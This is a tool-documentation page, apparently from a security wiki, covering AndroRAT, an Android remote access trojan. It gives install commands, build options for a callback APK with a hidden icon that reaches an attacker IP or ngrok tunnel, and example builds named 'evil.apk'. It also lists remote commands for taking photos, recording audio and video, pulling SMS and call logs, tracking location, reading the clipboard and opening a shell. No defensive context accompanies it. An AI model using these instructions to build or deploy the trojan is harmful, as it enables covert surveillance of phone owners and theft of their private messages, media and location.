> For the complete documentation index, see [llms.txt](https://ghoulsec.gitbook.io/Toolbase/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ghoulsec.gitbook.io/Toolbase/mobile-attacks/androrat.md). Agents can also search and read this documentation through its [MCP server](https://ghoulsec.gitbook.io/Toolbase/~gitbook/mcp).

# AndroRAT

### Installation :&#x20;

```
git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt
```

#### Available Modes

* `--build` - for building the android apk
* `--ngrok` - for using ngrok tunnel (over the internet)
* `--shell` - getting an interactive shell of the device

### Build Mode :&#x20;

```
Usage:
  python3 androRAT.py --build --ngrok [flags]
  Flags:
  -p, --port        Attacker port number (optional by default its set to 8000)
  -o, --output      Name for the apk file (optional by default its set to "karma.apk")
  -icon, --icon     Visible icon after installing apk (by default set to hidden)
```

```
Usage:
  python3 androRAT.py --build [flags]
  Flags:
    -i, --ip              Attacker IP address (required)
    -p, --port            Attacker port number (required)
    -o, --output          Name for the apk file (optional)
    -icon, --icon         Visible icon after installing apk (by default set to hidden)
```

### Shell Mode :&#x20;

```
Usage:
  python3 androRAT.py --shell [flags]
  Flags:
    -i, --ip                Listner IP address
    -p, --port              Listner port number
```

### Commands Available&#x20;

```
    deviceInfo                 --> returns basic info of the device
    camList                    --> returns cameraID  
    takepic [cameraID]         --> Takes picture from camera
    startVideo [cameraID]      --> starts recording the video
    stopVideo                  --> stop recording the video and return the video file
    startAudio                 --> starts recording the audio
    stopAudio                  --> stop recording the audio
    getSMS [inbox|sent]        --> returns inbox sms or sent sms in a file 
    getCallLogs                --> returns call logs in a file
    shell                      --> starts a sh shell of the device
    vibrate [number_of_times]  --> vibrate the device number of time
    getLocation                --> return the current location of the device
    getIP                      --> returns the ip of the device
    getSimDetails              --> returns the details of all sim of the device
    clear                      --> clears the screen
    getClipData                --> return the current saved text from the clipboard
    getMACAddress              --> returns the mac address of the device
    exit                       --> exit the interpreter
```

### Usage :&#x20;

* To build the apk using ngrok which will also set the listner: `python3 androRAT.py --build --ngrok -o evil.apk`
* To build the apk using desired ip and port: `python3 androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk`
* To get the interpreter: `python3 androRAT.py --shell -i 0.0.0.0 -p 8000`

<figure><img src="https://3312899877-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fwq2mVR4al0Q9L9ELuENl%2Fuploads%2FCOCBboqB8FYWUrPXYiIy%2Fimage.png?alt=media&amp;token=5602cdbe-7c3b-4287-80be-2fa6fb9f0355" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3312899877-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fwq2mVR4al0Q9L9ELuENl%2Fuploads%2FEU0LMBD6g6bmjXx7rJUC%2Fimage.png?alt=media&amp;token=9a221548-bb75-4384-87f9-2672df866e63" alt=""><figcaption></figcaption></figure>
